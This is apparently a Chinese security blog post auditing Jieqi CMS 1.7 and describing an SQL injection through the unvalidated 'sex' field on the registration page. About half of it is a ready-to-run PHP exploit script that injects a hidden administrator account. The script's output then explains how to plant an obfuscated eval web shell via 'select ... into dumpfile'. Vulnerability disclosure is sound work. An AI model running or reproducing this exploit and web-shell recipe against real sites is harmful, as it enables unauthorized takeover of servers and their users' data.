杰奇CMS ( Jieqi CMS) 是一套以小说系统为主的CMS,目前的最新版本是1.7,在小说类的站中使用率还是比较高的,这几天花了点时间看了一下他的代码,觉得挺有意思的,跟大家分享一下。
整个系统核心代码是zend加密的,dezend之后看了一下。先从最几率最大的select型注入看起,但是发现所有地方GET过去的参数,最后都会带入\lib\database\database.php中组合SQL语句,再带入到jieqimysqldatabase类(\lib\database\mysql\db.php)的query方法进行最后的执行。
仔细查看后发现不可利用,因为如果是数字型的变量,带入到database.php时会进行is_numeric检查;如果是字符串型会进行\转义,尝试了宽字节注入,但很可惜的是dp.php中有一句“character_set_client=binary”,也就是说php程序在与mysql交互的时候使用二进制字符集查询,瞬间绝望了。
再留意了一下,发现程序中并没有转码的操作,所以宽字节注入这条路就彻底不行了。
这是一个不好的信号,因为程序中基本上所有的字符串型都会进行转义操作,我就不可能跳出魔术引号了。
又黑盒看了一下,后台的一个地方会显示用户留言时的IP,IP是插在数据库中的,于是考虑了一下能不能伪造IP,看看能否利用来注入或者xss。
分析之后得出获取IP函数是jieqi_userip (/global.php),采用HTTP_CLIENT_IP的方式来获取的,可以伪造,但很蛋疼的是jieqi_userip在获取了IP之后会把小数点替换为空,再进行is_numeric判断 - - || ,又白高兴了。
接着找了一下xss,1.7没有找到xss,1.6有几个反射型xss。
再接再厉,又看了一下其他一些地方,但都没太大的突破,最后看到注册那一块的时候,发现了一些问题。
处理注册的页面是/register.php,post过去的参数有username、password、repassword、email、sex、qq、url、action,跟了一下,发现是这样一个流程:依次带入到/regcheck.php中检查username是否合法,username是否重复,password是否等于repassword,email是否合法,email是否重复。也就是说sex、qq、url并没有进行检查,但是qq和url在数据库中是varchar型,cms会把这两个参数当字符串处理,也就是说如果出现单引号的话会进行转义,前面已经说过了,无法跳出魔术引号。
很幸运的是,程序猿百密一疏,天真的认为sex在前台是以单选框显示出来的,只有0、1、2这三种可能性,所以没进行is_numeric判断,直接带入到数据库中,那么就可以利用了。
总结一下,通过这几天的审计,我觉得其实那个作者安全意识挺高的,对于常见安全性问题都做了相应的防范,在一次次发现我想到的地方作者也想到了而失望的同时,也挺佩服作者的安全意识的,希望作者在看到本文时能及时修补。另外,以上的个人分析如果有什么不足的地方还望各位大牛补充,如果大家发现了1.7版本其他的一些问题或者是其他更好的后台get webshell的方法,请告诉我一声,共同交流,共同进步,thx :)
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet, $port){
$sock = fsockopen($host, $port);
while (!$sock){
print "\n[-] No response from {$host}:$port Trying again...";
$sock = fsockopen($host, $port);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
print_r('
+---------------------------------------------------------------------------+
| Jieqi CMS Add Manager [version <=1.7] |
+---------------------------------------------------------------------------+
| By : 蓝孩(b1u3b0y) |
| Team : MyClover.Org && Insight-Labs.Org |
| Date : 2012.3.25 |
| Blog : hi.baidu.com/b1ueb0y |
+---------------------------------------------------------------------------+
');
if ($argc < 4)
{
print "\nUsage......: php $argv[0] host port path\n";
print "\nExample....: php $argv[0] localhost 80 /\n";
die();
}
$host = $argv[1];
$port = $argv[2];
$path = $argv[3];
$payload = "username=asd123s&password=imnothack&repassword=imnothack&email=12sds2fg@QQ.COM&sex=9,'asd34sadsa@QQ.COM','',0,0,'','','','','','','','',1332592733,0,0,0,1,0,0,0,0,10,10,0,0,0,0,0,0,0,0),(0, 0, 'b1u3b0y', 'b1u3b0y', '2eb429c676681a7bf5ae8702aa768363', 2, 1332592733, 'H', 9, 'hello@myclover.org', '', 0, 0, '', '', '', '', '', '', '', '', 1332592733, 0, 0, 0, 1, 0, 0, 0, 0, 10, 10, 0, 0, 0,0, 0, 0, 0, 0)#&qq=&url=&action=newuser&submit=%CC%E1+%BD%BB\r\n";
$packet = "POST {$path}register.php?do=submit HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Cookie: jieqiVisitInfo=jieqiUserLogin%3D1332488363%2CjieqiUserId%3D1; PHPSESSID=ho4u03ebnlq6cl6vlg1t2kbjg2";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
http_send($host, $packet, $port);
print_r('
+---------------------------------------------------------------------------+
[+] Add manager successful? Please check it yourself!
[ ] Default URL: http://localhost/admin
[ ] username = b1u3b0y
[ ] password = lanhai
+---------------------------------------------------------------------------+
[+] Get Webshell (mysql用户需要file_priv权限)
[ ] [系统工具] -> [系统信息] (Get Path)
[ ] [数据维护] -> [数据库升级]
[ ] 执行 [ select concat(char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62)) into dumpfile \'C:\\\\wwwroot\\\\1.php\' ]
[ ] http://localhost/1.php (password:cmd)
+---------------------------------------------------------------------------+
');
?>